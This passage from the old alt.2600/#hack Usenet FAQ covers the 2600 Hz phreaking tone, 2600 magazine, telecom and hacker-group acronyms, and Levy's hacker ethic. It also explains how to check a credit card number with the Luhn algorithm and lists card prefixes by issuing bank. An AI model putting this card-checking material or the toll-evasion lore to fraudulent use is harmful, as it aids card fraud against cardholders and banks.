was created to divert all of the atari traffic from alt.2600. Atari 2600 people are advised to hie over to rec.games.video.classic. 02. What does "2600" mean? 2600Hz was a tone that was used by early phone phreaks (or phreakers) in the 80's, and some currently. If the tone was sent down the line at the proper time, one could get away with all sorts of fun stuff. A note from Emmanuel Goldstein: "The Atari 2600 has NOTHING to do with blue boxes or telephones or the 2600 hertz tone. The 2600 hertz tone was simply the first step towards exploring the network. If you were successful at getting a toll call to drop, then billing would stop at that point but there would be billing for the number already dialed up until the point of seizure. 800 numbers and long distance information were both free in the past and records of who called what were either non-existent or very obscure with regards to these numbers. This, naturally, made them more popular than numbers that showed up on a bill, even if it was only for a minute. Today, many 800 numbers go overseas, which provides a quick and free way into another country's phone system which may be more open for exploration." 03. Are there on-line versions of 2600 available? No. 04. I can't find 2600 at any bookstores. What can I do? Subscribe. Or, let 2600 know via the subscription address that you think 2600 should be in the bookstore. Be sure to include the bookstores name and address. 05. Why does 2600 cost more to subscribe to than to buy at a newsstand? A note from Emmanuel Goldstein: We've been selling 2600 at the same newsstand price ($4) since 1988 and we hope to keep it at that price for as long as we can get away with it. At the same time, $21 is about the right price to cover subscriber costs, including postage and record keeping, etc. People who subscribe don't have to worry about finding an issue someplace, they tend to get issues several weeks before the newsstands get them, and they can take out free ads in the 2600 Marketplace. This is not uncommon in the publishing industry. The NY Times, for example, costs $156.50 at the newsstands, and $234.75 delivered to your door. Section E: Miscellaneous ~~~~~~~~~~~~~~~~~~~~~~~~ 01. What does XXX stand for? TLA Three Letter Acronym ACL Access Control List PIN Personal Identification Number TCB Trusted Computing Base ALRU Automatic Line Record Update AN Associated Number ARSB Automated Repair Service Bureau ATH Abbreviated Trouble History BOC Bell Operating Company BOR Basic Output Report BOSS Business Office Servicing System CA Cable COE Central Office Equipment COSMOS Computer System for Main Frame Operations CMC Construction Maintenance Center CNID Calling Number IDentification CO Central Office COCOT Customer Owned Coin Operated Telephone CRSAB Centralized Repair Service Answering Bureau DDD Direct Distance Dialing ECC Enter Cable Change LD Long Distance LMOS Loop Maintenance Operations System MLT Mechanized Loop Testing NPA Numbering Plan Area POTS Plain Old Telephone Service RBOC Regional Bell Operating Company RSB Repair Service Bureau SS Special Service TAS Telephone Answering Service TH Trouble History TREAT Trouble Report Evaluation and Analysis Tool LOD Legion of Doom HFC Hell Fire Club TNO The New Order ACiD Ansi Creators in Demand CCi Cybercrime International FLT Fairlight iCE Insane Creators Enterprise iNC International Network of Crackers NTA The Nocturnal Trading Alliance PDX Paradox PE Public Enemy PSY Psychose QTX Quartex RZR Razor (1911) S!P Supr!se Productions TDT The Dream Team THG The Humble Guys THP The Hill People TRSI Tristar Red Sector Inc. UUDW Union of United Death Workers 02. How do I determine if I have a valid credit card number? Credit cards use the Luhn Check Digit Algorithm. The main purpose of this algorithm is to catch data entry errors, but it does double duty here as a weak security tool. For a card with an even number of digits, double every odd numbered digit and subtract 9 if the product is greater than 9. Add up all the even digits as well as the doubled-odd digits, and the result must be a multiple of 10 or it's not a valid card. If the card has an odd number of digits, perform the same addition doubling the even numbered digits instead. 03. What bank issued this credit card? 1033 Manufacturers Hanover Trust 1035 Citibank 1263 Chemical Bank 1665 Chase Manhattan 4024 Bank of America 4128 Citicorp 4209 New Era Bank 4302 HHBC 4310 Imperial Savings 4313 MBNA 4317 California Federal 5282 Wells Fargo 5424 Citibank 5410 Wells Fargo 5432 Bank of New York 6017 MBNA 04. What are the ethics of hacking? An excerpt from: Hackers: Heroes of the Computer Revolution by Steven Levy Access to computers -- and anything which might teach you something about the way the world works -- should be unlimited and total. Always yield to the Hands-On imperative. All information should be free. Mistrust Authority. Promote Decentralization. Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race, or position. You can create art and beauty on a computer. Computers can change your life for the better. 04. Where can I get a copy of the alt.2600/#hack FAQ? Get it on FTP at: rahul.net /pub/lps rtfm.mit.edu /pub/usenet-by-group/alt.2600 ftp.clark.net /pub/jcase Get it on the World Wide Web at: http://dfw.net/~aleph1 http://www.engin.umich.edu/~jgotts/underground/hack-faq.html http://www.phantom.com/~king EOT -- (-eof-) (c)nXo/loteknologies